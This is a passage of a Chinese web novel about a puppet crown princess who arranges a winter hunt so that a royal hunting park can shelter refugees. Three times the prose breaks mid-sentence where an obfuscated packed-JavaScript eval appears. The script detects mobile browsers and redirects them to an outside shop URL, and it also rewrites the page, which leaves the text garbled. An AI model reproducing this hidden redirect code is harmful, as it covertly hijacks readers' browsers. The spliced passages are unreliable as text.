青年别有深意地瞟过谢琚,那挑衅的意味全不遮掩。几乎是明示这个未来的“中宫”,不过是谢氏另一条锁链罢了。 “殿下当真以为,凭着一个‘阴阳合德’的谶纬,就能安安稳稳地坐稳这天下?” 安安稳稳——她恐怕从来没有安安稳稳过。盛尧纳闷,这个人怎么会觉得有人能安稳地坐天下呢? 还没等她琢磨完,庚子湛又抢上一句:“那么,多结好一个强臣,对殿下又有什么不好?” 这北方来的探子,不仅知道她的处境,甚至连她与谢氏之间那微妙的嫌隙都看得一清二楚。甚至还在公然挑拨离间,想在谢家的墙角里挖个坑。 不要理会,不要理会。盛尧告诫自己,这是个大坑,跳进去就出不来了。 她沉默半晌,决定装傻,避开了这个要命的话头,反问他:“那你呢?利用我解决流民,对你有什么好处?” “帮殿下,就是在帮自己。”庚子湛靠回身,神情变得严肃,“如今尚是寒冬,能从岱州一路捱到都中的,不过是侥幸的一小部分。” “待到开春,田地荒芜,人们急于耕种,此时若是解决不了,这些活不下去的人,绝了中都的念想,便是要往北去寻活路。与其让他们去往翼州,冲击防线,倒不如在下先助殿下,将这麻烦变成您的助力。” 看似悲悯,实际都是利害。 原来如此。高昂坐镇北方,最忌惮的便是后方生乱。数万流民若是北上,那可不是闹着玩的。 有所求,那便好办多啦!比那云山雾罩的故弄玄虚强! 盛尧精神一振,心里的小算盘打得噼里啪啦响。只要不是真的想当什么妃子,一切都好商量! 她将手臂往案上一搁,显出谈判的架势,问他: “你家将军,想让我做什么?” “不是让您做什么,”庚子湛笑道,“是看您能做什么。殿下若能解此危局,我家将军,自当奉上诚意。” 这才是他此行目的。 盛尧点点头,心里石头落了一半,但还有个最大的疑问。 “你究竟是谁?”她最后问道。 能代大将军做这种决定的,绝不可能是个无名之辈。 庚子湛站起身,对着盛尧长长一揖, “汾阳处士,箕山外臣。”青年的声音清朗,带着几分自矜,“不过区区一个白衣。” 盛尧咬着牙,恨不得把手里的茶盏扔过去。 他收回手,语声却带着最后一些挑衅的笑意: “殿下慢慢考虑。子湛在都中,还要再停留些时日……随时恭候佳音。” 他转身就走,步子却轻慢,经过谢琚身侧时,忽然微微俯身,用明白的声音道: “谢四公子,强臣欺主,且不说皇太女,便是皇后之位,也有废立之患,您那个位置……坐得是那样稳的?” 这人是真不怕死啊! 盛尧紧张地看向谢琚,生怕他忽然就暴起拔剑。 然而谢琚只是转过眼,连一个字都没回,甚至连眼神都懒得给一个。 庚子湛长笑一声,推门而去。 真是只难对付的狐狸!翼州怎么出了这样个麻烦人物! 盛尧绞着双手,愁得要命,觉得自己都快要被溺死在这满室的香味和阴谋里头了。 流民,妃子,翼州,高昂,谢巡…… 还有旁边这条正在散发冷气的鱼。 神女在哪儿?神女在这里发呆,神女想回家。 盛尧呆呆地坐着,脑子里乱成一锅粥。 杂七杂八,可惜这锅粥却没办法端给那些流民吃。 她盯着几乎没动过的烤乳猪,油脂微微反光,仿佛还在滋滋作响。 钱粮从何而来?安置于何处?开春之后,上万流民涌入,又要如何? “阿摇?” 她这个“天命所归”的皇太女,除了在心里发些空泛的善心,还能做什么?连自己的内府都喂不饱,有什么资格去喂饱那数千张嘴? “……阿摇?” 盛尧伸手去扶脑门儿,完全忘了身旁还坐着别人。此时满心都是些在泥沼里挣扎的眼睛,哪里有心思去搭理一条鱼。 谢琚正看着她。 她越想越是头疼,越想越是无力。趴在桌案上,将脸埋进手臂里,唉声叹气。 忽然,眼前光线一暗。 叮铃。 一声清脆冰冷的铃响,贴着耳廓响起。 盛尧一惊, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16835997|188915||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还没来得及抬头,沉和又危险的气息便当头压了下来。 有只手按在她身侧的桌案上,另一只手撑住了身后的凭几。她整个人,瞬间被圈进一个由手臂和桌面构成的狭小空间里。 谢琚俯下身,离她很近。太近了。 茜色的衣袖垂落下来,几乎要拂上她的脸庞,暗色将她完全笼罩。几缕乌黑的发丝自他侧边滑落,垂布流离,堪堪悬在眼前,痒痒的。 看得清他纤长眼睫上沾染的微光,脸上触到他平稳却略显沉重的呼吸。 “你……” 她吓得往后一缩,后背却抵上桌案,退无可退。 “好玩吗?” 谢琚探过身,少了平日里那份悠悠然的安闲,宛如一块被冰雪磋磨的玉,冬日的冷冽之外,迎来他身上带着愠怒的温热吐息。 可就在这瞬间,从满是怒火的眼眸深处,她忽然捕捉到了一丝明白的锋刃意味。 对了。 白马撞殿,在酒楼里写下“绰”字,在陶窑前拔剑相向…… 啊哈。 盛尧——灵机一动。 既然这人可能不全是傻子,还知道生气,那事情,或许就能用些了! 看着眼前近在咫尺的、漂亮得让人容易脑子发昏的脸,盛尧忽然就不怕了。 “子湛先生……他真是个了不起的人,是不是?” 打定主意不去看他,视线飘向一旁价值不菲的筵席,长长地叹口气,脸上露出万万分的钦佩与苦恼。 白狐裘下,这茜色衣袍的青年,皱起眉。 “是啊,”自言自语,“庚先生真是智虑深沉,非同凡响。几句话,便将这天下大势剖析得如此透彻。” 旁边按在桌案上的手指,微微收紧了些。 盛尧愁眉苦脸地闭目深思:“可我能怎么办呢?这数千流民,衣食无着,我经验不足,若是处置不当,只怕真要酿成大祸啦。” 如此懊恼万分,撩开一边眼睛缝儿,瞧他的神情。 少了些温顺闲雅的情态,那下颌的线条绷得紧紧地,昳丽的面容便显出侵略性的锋利。 好家伙,生气了,真生气了。 盛尧心里的小鼓敲得飞快,绝望地仰起脸:“实在不行,就只能再去找找有没有想买官的……” 雅间之内,安静得可怕,只能清楚地听见两人纠缠的呼吸声。 盛尧决定再添最后一把火。 “万一我闹出不好——被废了,或是被杀了,”小心翼翼,“你说,皇后是不是要给君主殉葬的?” …… 没什么反应。 正在盛尧左右权衡,是再威胁几句“咱们死一块儿”,补上点儿“庚先生也许有办法”,还是再多夸几句有用时, 便见青年思虑般的盯着她,眸子里的怒火似乎稍稍沉淀。一点冰冷的讥诮浮了上来。终于,缓缓地站起,松开了对她的压制。 周围的空气重新流动,盛尧松口气,悄悄地观察他。 谢琚回转身,抄起案上一支未用过的银箸。 两指发力,那支银箸便在他手中,被硬生生地弯成了一道弧形。 当的一声。 银光忽闪,弯折的银箸从空中划过,投进那鼎煨得烂熟的熊掌羹。 只留下半截露在外面,宛如一张蓄势待发的弓。 “猎苑。” 他冷冷地说。 哦吼。盛尧在桌子上一拍。 25. 我是储君 别苑东偏殿里,灯火昏黄。盛尧把门窗一一掩严,郑小丸靠在门边,使耳朵贴上门缝。卢览点点头,将一碟热腾腾的羊肉抛饼推到盛尧面前,又替郑小丸倒碗烧酒。 “猎苑!” 盛尧将这个词喜滋滋地拍在舆图上。 “什么?”卢览抓着饼子一呆,以为她说的是那箱子金饼。 “殿下,这法子好!”郑小丸把嘴里的羊肉咽下去,“我听说那猎苑大得很,里头有的是空置的房舍,还有泉水,安置几千人绰绰有余!” “好什么好!”卢览厉声道,“天子苑囿!归少府卿管。少府大人,丞相的门生!有多难对付,你晓得么?” 盛尧被她吓得气馁,郑小丸却没有。 “冲进去?” “然后被禁军当成叛逆乱箭射死?”卢览凶狠地横郑小丸一眼。 猎苑地方够大,又有围墙,将流民暂时安置在那里,既能与都中隔离开来,避免疫病,也便于管理。这确实是眼下最好的法子,可最大的问题,仍是那个老生常谈的——她们没有权力。 “殿下,”卢览冷笑,“中庶子说的,也能用?” 盛尧思索,盛尧迟疑:“我觉得……恐怕……挺能的。”卢览翻了个惊天动地的白眼。 这也是为什么她现在同意谢琚挂在她旁边听着的原因。谢琚全不理会讽刺,只是伏在桌案旁边,像是睡的十分深沉。 “那我能怎么办?人都那样激我了。” 卢览不以为然:“要我说,别插手此事。这些流民,十之八九是田昉故意驱赶到都中的,为的就是动摇中都。谢丞相冷漠以待,是有他的道理。” 道理。是这个道理,盛尧不是不明白,但总是空落落的。 “唉……”盛尧觉得自己的头发又要遭殃。只得将思路从这无解的难题上暂时挪开,转向另一个。 “小丸,教你另去酒楼和市中打听,可探到那个庚子湛的底了?” 盛尧把今日西市之事,原原本本说来一回。说到庚子湛那句“还能多个妃子”,卢览差点喷出来,郑小丸拔了半截剑,骂了句粗得不能入耳的脏话。 “没。”郑小丸骂完,十分失望,“这人就像是从石头缝里蹦出来的。市中只知道出手阔绰,其他的,一概不知。” “石头缝里绷不出这种人。你说他看起来,像是个大家子弟。”卢览沉吟。 “显眼!长得太俊了,要是常在都中晃,早被哪家崔李的闺女抢回家当帘子啦。” 盛尧同意:“我看他那架势,口音不重,说话也像是读过《尔雅》《方言》的,那股子劲儿……” 她比划一下,“就是那种……好像全天下都在他手掌心里玩似的讨厌劲儿。还有闲心调侃我。” “名门世家哪有姓庚的,”卢览咬一口汤饼,“就是攀附,也找个大姓。” 卢氏簪缨名世,盛尧一点不怀疑她这话的真假。 “我也觉得这姓氏怪怪的。” 卢览伸出手指,蘸了点茶水,在桌上写一个“庚”字。 “庚……”她喃喃自语,忽然眼神一动,手指在那字上头加了一点,又在左边稍微撇了一撇。 “庾?” 盛尧凑过去:“庾?” 卢览抬起头:“殿下,您刚才说,他自称什么?” “汾阳处士,箕山外臣。”却作得了大将军的主。 “处士外臣。是个隐居过的人物。唔,殿下听没听说过‘梧山凤凰’?” “没有。”盛尧老实摇头。太傅没与她骂过,想必没那么惹人讨厌。 卢览嫌弃地看她一眼,道:“就因为高昂那人是个武夫,这两年一直在极力招揽贤达。听闻他终于迎了一位极其厉害的谋主。这人本是南边的大族,诗书传家,祖上出过好几位太守尚书。” “那怎么跑北方去了?” “遭了贼寇呗。”卢览叹气,“战乱世道,望族起来难,败落太容易了。“ 盛尧想起卢府,犹豫着不敢接话。 “都说庾氏一路往北逃难,最后隐居在管吴山。当地人叫那是吴山。这一辈里,出了个惊才绝艳的年轻名家。声誉大,心气也高,多少诸侯去请,连门都进不去。没想到……” “庾澈。”她说,“他居然跑到都中找你了。” “庾澈……”盛尧揣摩,确实比那个什么庚子湛听起来要顺耳,“这人很厉害?” “厉害。”卢览冷笑一声,“当年常夫子品评天下年轻才俊,将他和……那位,”她朝旁边努了努嘴,“并称。” 一直伏在案边的谢琚,显而易见地紧绷了些许。 盛尧觉得哪里不对, “并称什么?”盛尧眼睁睁地,看郑小丸这个没眼力见的,还在那傻乎乎地追问,“什么并称?” 卢览也没多想:“说‘梧山凤凰,都中麒麟’。意思就是,南有庾澈,北有……” “咳咳!”盛尧疯狂咳嗽,拼命给卢览飞眼色。 可惜晚了。 “喔,这么说,凤凰,是排在麒麟前头的?” 后脖颈子呼呼冒凉气。盛尧僵硬地看过去,只见谢四公子慢慢地抬起头来。 含情凝睇,春水盈光,一双漂亮的眸子,此刻正盯着她。 盛尧头皮发麻,赶紧转头去看卢览,希望能得到点支援。 却忘了卢氏可是在谢巡手底下遭过大罪,自然卢览也是个硬骨头, “人家名声本来就是这么排的。”她幸灾乐祸地与盛尧说,“人家没疯。” …… …… “押韵!” 盛尧冷不丁一声断喝,趴到案上捞起谢琚手臂,旁边两个人惊呆地看着她,她慌忙又与她们解释, “押韵,文人嘛,你们晓得!为了个韵脚,哪怕是天王老子,也得排在后头。” 她赶紧死死按住这条鱼。 * 到了次日清晨,天刚透点亮光,雪倒是停了。 盛尧心里装着事,睡不踏实,早早便起来,东宫侍从早被她借口打发得七七八八,也没惊动旁人,独自披着斗篷,想去寻个地方透透气,顺便理一理思绪。 临出门又拐回身子,上下打量帐前挂着的长弓,最后下定决心,将它摘下来,负在身上。 别苑后有一片极偏僻的梅林,平日里鲜少有人踏足。 盛尧不敢在演武场练。那里人多眼杂,若是让内卫们看见自家主君连张弓都拉不开,未免太过动摇军心。 “凤凰,”嘴里真诚地嘀咕,“早晚给你一箭射下来。” 她抱着那张沉重的“折鸿”,深一脚浅一脚,踏在薄雾的枯枝边,顺着殿墙根儿,偷偷溜进梅林。 “总有一天,会的。” 谢绰那轻蔑的笑,还有那指向谢琚咽喉的箭。 雪飘落下来几片,梅花开得正好。 盛尧把外袍脱了,只穿着一身利落的短打,在雪地里扎下马步。深吸一口气,左手持弓,右手扣弦,气沉丹田,用尽全身力气。 起! 纹丝不动。 这张弓好似长在了一块,弓弦紧得像是铁铸的。 再来! 盛尧咬着牙,脸涨得通红,手指被弓弦勒得生疼,好不容易才将弓弦拉开了一寸。 仅仅一寸。 手一抖,“崩”的一声轻响,弓弦弹了回去,震得她虎口发麻,险些脱手。 这是正经的军中硬弓。 盛尧气喘吁吁地松开手,蹲下身,挫败感兜头涌上来。 别业里的冷笑仿佛还在眼前晃动。 “总有一天,会的。” 她想起庾澈那句“强臣欺主”,想起谢绰那句“雷霆威重”。 都是因为她太弱了。他们在告诉她,这天下的权柄,就像这张弓,不是她这个小小的傀儡能玩得转的。 盛尧看着自己被勒得红肿的手指,眼眶一热,却又奋力把眼泪憋了回去。 不行,不能哭。 她是主君。她身后还有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16844714|188915||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 几百号人要吃饭,城外还有几千流民在饿死。区区一张弓也整不好,怎么去跟那些豺狼虎豹斗? 盛尧从地上抄起一把雪,使劲搓搓发烫的脸,又站了起来。 再一次,持弓,扣弦。 左手如托泰山,右手如抱婴儿。 她憋足了力气,脸红脖子粗地跟这张破弓较劲。 叮铃。 清脆的铃响,穿透了梅林的寂静。 盛尧手一滑,弓弦再一次弹回去,差点打到自己的鼻子。她狼狈地转过身,就看见不远处的梅花树下,停驻了一人一马。 谢琚骑在那匹白马上,单手挽着缰绳,外罩的银狐霜裘,领口锋毛出得极好,拥着莹然如玉的脸庞。衣裾翻出里面茜色的襟摆,自鞍鞯边上悠悠垂落。 腰间悬着一柄长剑,剑鞘是温润的青玉,剑穗鲜红,挂在银鞍之侧。 风吹过,狐裘微动,冠带轻扬。他坐在马上,背后是三五株寒梅。 脱去了手炉氤氲的温暖平和,就好似那日在嘉德殿上破门而入的影子,又好似她忌惮过的,那个曾被太傅称作杀伐决断的天才少年。 盛尧还坐在雪地上,怀里抱着那张要把她压垮的硬弓,仰头看着他,一时竟忘了站起来。 “阿摇,” “地上凉。” 盛尧回过神,自觉不对,正要手忙脚乱地爬起来,却见那白马已行至近前。 没给她反应的机会,谢琚忽然俯下身。 那一瞬间,狐裘绒毛纷乱播散的细小气流,劈头盖脸地罩了下来。盛尧被人一拉。 “啊!” 惊呼声还没出口,身子便腾空而起。谢琚一提一拽,将她整个捞了起来,携在马背身前。 “坐好。” 青年在她耳边低喝一声,双腿一夹马腹。 白马厉声长嘶,四蹄腾空,霎时间冲了出去。 凛冽的寒风呼啸而生,刮得脸颊疼痛。两旁的梅树震荡着向后退去,化作点点模糊的红影。 盛尧手里还握着那张弓,后背贴着他的身躯。 她扮成太子时,穿着男装,战战兢兢。储君教习骑术,务必求一个稳字,何曾骑过这样的烈马,此时惊得够呛,本能地回过身,紧紧抱住谢琚的腰,朝后靠进他的狐裘里。 “慢点!鲫鱼!你疯了!慢点!” “阿摇,” 身后的胸膛似乎轻轻震动了一下,像是笑了。 谢琚却没有丝毫减速的意思。他一手控缰,一手环过她的身侧,挡去大半的风雪,扬起马鞭,在空中虚虚一抽,清脆的爆响。 长绦刺雪,泼卷西风,马速更快了。 风声在耳边奋起怒号,像是要将天地都撕裂。 青年仰起头,对着东方昏茫蒙昧的太阳,朗声大笑。 那笑声脱去了平日里那种温吞,闲适,显出真正的意气风发。疏狂,傲慢,目空一切,却又快活到了极点。 “凤凰能飞这么快么?” 他在马上颠簸,笑得胸腔都在震动, 恐惧慢慢散去,渐渐涌上的,是一种前所未有的畅快。 风是冷的,血是热的。被压抑了十年的郁气,在这一刻仿佛都随着风声呼啸而出。 盛尧抬起头,迎着风,大口大口地呼吸着冰冷的空气。 她被冻得脸颊红扑扑的。看着远处高高的宫墙,忽然觉得,似乎也没那么高不可攀。 宫墙之外,隐约可见连绵起伏的山峦,那是都城西郊的皇家林苑。 “冬狩……” 盛尧按着弓,喃喃自语,眼睛越睁越大,越在那风雪中闪亮。 “我不必偷偷摸摸地开猎苑!我要大张旗鼓地去!” “我是储君,我要行冬狩之礼!这是祖宗家法,是国之大典!我要带着我的鸾仗麟卫,带着文武百官,光明正大地进猎苑!” 她大声喊,自马背上高高举起身子,扬起长弓,迎着这萧条的冬日,烈烈的北风。 “——我是储君!” 26. 金盘妃子? 三天后,东市一处隐蔽的食肆雅间里。 “梧山凤凰”。 庚子湛——或者说庾澈,手拈着盛尧送来的名刺,眉头挑得老高,脸上的神情似笑非笑,黑了一层,又黑一层。 “殿下,”他举起名刺,“在下自认不算小气,但这又是怎么一回事?” 庾澈往案上一掷,指尖在墨迹淋漓处点点,“殿下,这是您的手笔?还是贵府中何人的……独特雅兴?” 只见那张素雅的名刺上,原本清隽的“梧山凤凰”四个字,被几道粗暴的墨痕狠狠划去。旁边使一种漫不经心的笔体,批注了另外四个字: “金盘妃子”。 字迹草草,却得瑟地在那“妃”字最后一笔上,勾了个极尽嘲讽的弯儿。 盛尧一口茶差点喷出来,慌慌张张地去抢那名刺,“误会!这是误会!” 身后卢览咳得差不多要断气,盛尧的耳朵尖儿都红透了,眼神心虚地往旁边乱飘。 谁写过这个! 出门前,分明看见这张名刺还好好的,只是交给郑小丸收着,中间……中间好像是被谢琚拿过去把玩了一会儿,说是“看看这字写得好不好”。 盛尧僵硬地转过脖子,看向身侧。 谢琚倒是安静,垂着眼帘,神色加倍的自若。听见庾澈的质问,连睫毛都没颤一下,大约那四个字是自己长上去的。 “这不是一个人的笔迹。”庾澈皱眉,“旁边的字虽有些朴拙,却还是正经的路数。但这几个字……” “运笔急躁,笔锋虚浮,还有些阴损气……” “金盘妃子是什么玩意?”他冷笑,“庾澈堂堂丈夫,受不起这等封号。” 谢琚十指交叠,缓慢地抬起眼,看向庾澈,嘴角极轻地扯了一下。 “呵。” 虽然只有一个字,但其中的嘲讽意味,却比一万个字还要满溢。 什么金盘,什么妃子,难道不是一些装模做样的蠢货,处心积虑地安排出来的吗? “受不起?”这桃花似的青年低垂眼睫,显出真诚的无辜, “受不起就滚回山里,去孵蛋吧。” 噗。盛尧也没忍住,差点被茶水呛着。 梧山凤凰,滚回去孵蛋。想他江左风流,北地谋主,多年天下雅称“凤凰”,什么时候被人当面这样无礼过? “谢四!”庾澈哪怕涵养再好,也被这句“孵蛋”气得眉角一抽。 “好了好了,”盛尧赶紧出来打圆场,“中庶子的神智不清醒。” “他!”庾澈霍然站起,明显不是很能接受。 盛尧生怕这南北两个祥瑞真在东市的小食肆里打起来,“虚名浮利,庾先生何必介怀。” 她勉强正正神色,将那个古怪的名刺反扣在桌上。压住。 “今日约先生来,是有正事。” 庾澈坐回席上,强行按下心头火气:“殿下请讲。若是又要敲诈什么金银,恕在下今日出门匆忙,囊中羞涩。” “不谈钱。”盛尧摆摆手,“谈那数千流民。” 她从袖中抽出一卷备好的简牍,丢到庾澈面前。 “我要行冬狩。” 庾澈神色一敛,暂时放下那是关于“孵蛋”还是“妃子”的争执,伸手展开简牍。 “冬狩?”他稍显诧异,立时便转为敏锐的了然,“皇家猎苑,少府管辖。殿下是想借冬狩之名,强开猎苑?” “不错。”盛尧点头,“猎苑能容得下这许多人。但谢相绝不会开禁。即便斩了少府卿,再换上一个也还是丞相羽翼,有什么区别?” “所以……”庾澈将简牍一合,“殿下需要一个理由。让谢丞相不得不为了‘国体’和‘示威’,同意开启猎苑练兵。” 他是个绝顶聪明的人,一点就透。 “先生那日说,愿捧金盘,助我一臂之力。”盛尧说,“既然你的身份我已晓得,那咱们就打开天窗说亮话。你想要借我的手,解决即将涌入的流民,免得北方生乱。而我想借先生的一个身份。” “什么身份?” “翼州。” 盛尧也向前倾身,道,“我要先生以翼州大将军特使的身份,大张旗鼓,公开拜访。” 庾澈一怔:“公开拜访?殿下知道这意味着什么?大将军至今对朝中局势未置一词,此时若遣使拜访,便是承认殿下的储君之位。这人情,可比几盘金齑玉脍贵重。” “承认?”盛尧摇摇头,“不。” “我要你在朝堂之上,当着丞相的面,当着文武百官的面,骂起来!” 雅间内忽然静寂。 谢琚的铃铛也僵了一僵。 “骂什么?”庾澈显然非常有兴致。 “公然质疑储君暗弱,都中已无可用之兵!” “你要极尽挑衅之能事,要狂妄,要傲慢,表现出翼州铁骑随时可以南下饮马的气势!逼问若是北军南下,这温柔富贵乡里的满朝公卿,究竟能不能拉得开一张弓,上得了一匹马!” “哦——”庾澈若有所思,“激将?” “逼宫。”盛尧耐心道。“谢氏必须向天下人证明,都中尚有可战之兵,即使是皇太女也有御敌之威。” 谢巡一生戎马,是靠军功起家的权臣。他可以忍受流言蜚语,但绝不能忍受来自最大敌手的军事羞辱。那是动摇他统治根基的指控。 “司州军不如翼州军耐寒,这个节骨眼上,不会开战——” “冬狩。”庾澈接过了话头,语气中满是赞赏,“演武。” 国之大事,在祀与戎。冬狩名为狩猎,实为军事演习。 “冬狩讲武,合乎礼制,也能向天下展示兵威。” 只要谢巡同意开启猎苑进行冬狩演武,那封禁多年的皇家苑囿就必须打开,禁军与内卫就要进驻。 “那流民呢?即使殿下开了园囿,丞相就会答应安置?” “我自有办法。”大概吧。 庾澈饶有兴趣地打量眼前这个少女。三天前,她在酒楼里还是个被他几句话就激得手足无措的傀儡,而此刻,她居然想出了这样一个驱虎吞狼、借力打力的局。 把自己当做靶子,把翼州当做刀,逼迫谢巡这头猛虎张开嘴。 “哦。”庾澈粲然一笑,颊边小涡不怀好意地深了点儿,“殿下当真是把谢丞相架在火上烤。要开猎苑,要借口演武,将内卫拉出去练兵,甚至还能在诸侯面前立威。一箭三雕。” 他端起酒盏,朝盛尧遥遥敬过。指指那张写着“金盘妃子”的名刺: “狠辣又不留退路的绝户计。” * 倘或几日之内,庾子湛拟不出这骂辞,梧山凤凰便真该回去孵蛋了。 可盛尧没料到庾澈比她想的更加狠些。直到几天后,都中传满文论,她拈着这文辞,总觉得庾澈把重点全都骂偏了,她不是让他骂皇太女来着吗? 结果通篇都是讽刺谢氏。 关于要给盛尧立个男人做皇后的问题,矛头直指谢氏四郎:“……名家幺子,公卿士族,扫眉荐宠,骄痴专册,中都已绝麒麟笔,椒房新纳玉琼柯!” 文采斐然得分外阴阳怪气,简直像是回去就熬了整个通宵。 庾澈当世闻名,这篇又骂得十二万分的真情洋溢,一气呵成,再加上男皇后这事儿实在太扯,士林里头早就不满,也就两三天,都中蜂拥传阅。只在最后质疑几句兵革,就已经闹到人尽皆知的地步了。 名士,啊,名士。 盛尧捏着文书,满脸莫名其妙,卢览在身后朝她嗤笑:名士哪。 这事儿她不放心,私底下去问了庾澈,青年体贴礼貌,安慰她不必担心。说道自己既然入都做使者,当面骂皇太女,恐怕不太安全,骂谢家皇后,相比起来安全很多很多。 做事真是太缜密了。 不愧是江左大才,文章矩子,选出如此精妙的切入点,盛尧非常佩服。 但确实有点挂念谢琚,毕竟又是“荐宠”又是“骄痴”,凤凰撰文一点余地没留。 ——好在谢四公子看起来仍然超乎寻常的闲雅,顾全大局到看着她的眼神都显得很热烈,应该一点都不曾被惹着。 不愧是与凤凰并称的人物,盛尧也非常佩服!就把心稳稳当当放在肚子里。 再数日,天朗气清。 先自闹了这么一出,翼州使者庾澈,携重礼拜访的消息,果然如同飙风,瞬间席卷了整个都中。 别苑忽然热闹,连一直称病不出的长史崔亮,也被这消息惊得完全痊愈,穿着整齐的官服,满头大汗地赶来,眼神惊疑不定地在门口张望。 “北方来使?怎么事先一点风声都没有?” 卢览板着一张圆脸,十分严肃:“大概是翼州路远,消息飞得慢了点。” 崔亮:“……”这是把他当傻子哄呢? * 当日宫门大开,为首正是换了玄色正装的庾澈。凭着一人一剑,生生把这场充满恶意的政治拜访,走出了访友踏青的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16857065|188915||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 闲适感。 他那篇檄文似的杰作,这时候已经传得朝上朝下人人看过,当然,人人都装作半点不知。 谁?什么?没听说过! 直到大将军使者让他们随行的参军,当着满朝公卿的面,把这痛斥中都软媚的文章诵读了一遍。 参军显然是庾澈精挑细选的直肠子,嗓门十足洪亮,站在嘉德殿正中,捧着庾澈亲笔所书的“贺皇太女文”,抑扬顿挫地念到最后,硬是念出了两军对垒、更鼓擂动的杀气,左一声“尚能战否”!右一句“敢挽弓乎”! 几嗓子吼完,满朝公卿的脸皮子跟着抖了三抖。 众人都垂首敛目,盯着面前的漆案,巴不得上面生出花来。不敢看前头的谢相,更不敢看以中庶子履职,“椒房新纳”的谢四公子。 这骂得太脏,也太绝。把整个司州、中都,连带着谢家应谶纬,强把傻儿子塞进后宫的丑事,一锅给烩了,末了还一脚踩在谢巡最引以为傲的军功老脸上。 “放肆!” “区区北地狂徒,安敢在殿前狺狺狂吠!” 念文章的参军也抖了两抖,转头见右侧武官席位中,有人缓慢起身。 盛尧正忙着装成痛心疾首的样子,累得脸都憋红了,此刻突然吓到。这是她第一次见谢家的老二,那位让都中商贾闻风丧胆的司隶校尉,谢充。 她偷偷撇过去一眼,总算明白为何自己在别苑十年,从来没有见过此人。 如今亲眼见了,才晓得究竟是为什么。 谢充生得不高。此时站着,正对旁边谢绰和殿中庾澈,简直是判若云泥。脸又很瘦削,黑武袍都穿得空荡荡的,宛如一段燎过的短柴火,左眼眶里空空如也,被褐色的眼皮耷拉盖住。 难怪谢巡不喜欢他。盛尧寻思,这样的尊容与煞气,实在是不太体面。谢巡大约也觉得这个残缺又阴鸷的儿子有碍观瞻,从不让他靠近“储君”此等象征。 要不是早就知道翼州特使来势汹汹,恐怕这位专司咬人的恶犬,也不会被谢巡从阴暗的诏狱里放出来。 “高昂的一条狗,也敢在嘉德殿上狂吠。”谢充瘦削的脸上显得阴沉冷厉,“殿中卫士何在?将这狂徒拉出去,乱棍打死。” 殿外执戟郎官面面相觑。 庾澈却八风不动,只当那是从牢里跑出来的耗子,对着上首的谢巡一揖: “司隶校尉好大的官威!怎么,中都不敢比试兵马,只能比试谁嗓门大么?若司州只剩下些杀使节的鼠辈,敝主公翼州铁骑,明日便可南下饮马了!” “你找死。”谢充抬起下颌,睨着他,伸手便去夺丹陛侍从捧着的金瓜骨朵。 盛尧小惊,暂时还没有失色。但这哪里安全了?!赶紧准备帮庾澈说点什么。 “二哥。” 旁边伸出一只手,按住谢充的手腕。 紧挨着他的席位,谢绰直起身。他依旧是儒雅打扮,风度翩翩,头上戴着进贤冠,面上虽然带笑,眼神却冷。和那枯瘦如柴的二哥并排跪坐在一起。 “两国交兵,不斩来使。”谢绰温和地道,也不见如何用力,便将他二哥按回了席上。 “何况高将军还是我朝臣子,”谢绰与谢充说,“二哥掌管司隶,若是当殿杀人,传出去,岂不显得咱们谢氏气量狭小,二哥,真被这激将法给激着了?” “气量?”谢充冷笑一声,独眼又转向庾澈,“老三,你是好名声要紧。我可不管那些,谁敢在我的地界上撒野,我就要剥了他的皮。” 谢绰不理他哥,整整衣冠,向盛尧的方向拱手, “若不让庾先生心服口服,传扬出去,岂不教天下诸侯笑话?” “丞相,如今岁在玄冬,正当冬狩季节。翼州既然疑我中都兵马,不妨重开上林猎苑,校阅三军,以正视听。” 来了。 现下是冬日,北方军素来谙习苦寒,若此时殿前斩了庾澈,悍然与高昂开战。断不能讨了半点好去。 对于中都朝廷而言,所有的怒火,都应等到开春来时,方好用兵。 盛尧心头狂跳,想要杀人的老二,以退为进的老三。 谢巡什么都不说,上下扫视,这老权臣最终闭上双目。 小皇太女跪坐在正中的主位上,却好似个局促的客人。脸都被翼州使者气得发白,愤慨地握着拳头,眼中满是“我也想证明自己”的热切。 良久,盛尧吊着一颗心,终于见谢巡慢慢睁开眼,朝她俯下头。 “殿下。” 27. 最仁德的皇帝 成了! 这就算是小小的赢了一回。盛尧非常非常开心。 嘉德殿这地方也确实遭了天大的福气,先是白马撞殿,现今又有人登阁骂朝,盛尧开心得一溜跑下门前御阶。 然而又几天过去了,太史们还在翻黄历。从建除十二神里头挑挑拣拣,再去掉“往亡日”——成朝自高皇帝以来立国三百年,寒冬腊月,天知道有多少死过祖宗的忌日。 好在太史们是知道的,就试图在剩下的日子里,抠出一个宜动土、宜出行、宜杀伐的黄道吉日来。 